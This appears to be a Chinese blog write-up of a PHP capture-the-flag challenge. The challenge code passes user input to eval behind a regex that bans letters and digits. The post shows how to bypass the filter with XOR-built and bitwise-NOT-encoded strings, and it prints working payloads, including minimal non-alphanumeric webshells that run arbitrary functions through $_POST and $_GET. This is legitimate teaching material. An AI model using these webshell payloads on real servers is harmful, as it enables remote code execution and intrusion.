PHP无字母数字构造Webshell

本文详细解析了一项PHP代码注入挑战,通过巧妙利用字符异或运算及字符串拼接技巧,成功绕过正则表达式的限制,实现了特定函数的调用。文章展示了如何构造特殊字符串以调用预定义函数,获取flag,并提供了多种实现方案,包括webshell和不同类型的答案。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目

index.php:
<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){ //检测字符长度
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和数字
        die("NO.");
    }
    @eval($code); //$code的值要为非字母和数字
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

flag.php:

<?php
	function getFlag(){
		$flag = "flag is here";
		echo $flag;
};
?>

解题过程

方法一

在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

<?php
    var_dump('#'^'|'); //得到字符 _
    var_dump('.'^'~'); //得到字符 P
	var_dump('/'^'`'); //得到字符 0
	var_dump('|'^'/'); //得到字符 S
	var_dump('{'^'/'); //得到字符 T
	$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
	//变量$__值为字符串'_POST'
?>

websell:

<?php
@$_++; //$_=NULL=0  $_++=1
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //_POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

答案

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
    
$_="`{{{"^"?<>/"; //_GET
${$_}[_](${$_}[__]); //$_GET[_]($_GET[__])
&_=getFlag //执行函数 eval("getFlag(null)")
webshell:
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=phpinfo()

其他类型答案

如果在加上不能有&_字符呢?

只要eval函数执行了“getFlag()”字符串即可,那么绕过正则匹配即可:

把getFlag取反然后URL编码:

?code== _=~%98%9A%8B%B9%93%9E%98;= _();


这里为什么正则没有检测到,因为后端自动进行了解码,解码为非字母和数字字符,而eval执行了取反还原为getFlag字符。

既然可以利用取反~进行编码绕过正则检测,那么也可以取反编码GET、_POST。

参考链接 :https://blog.csdn.net/a15803617402/article/details/83589181

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值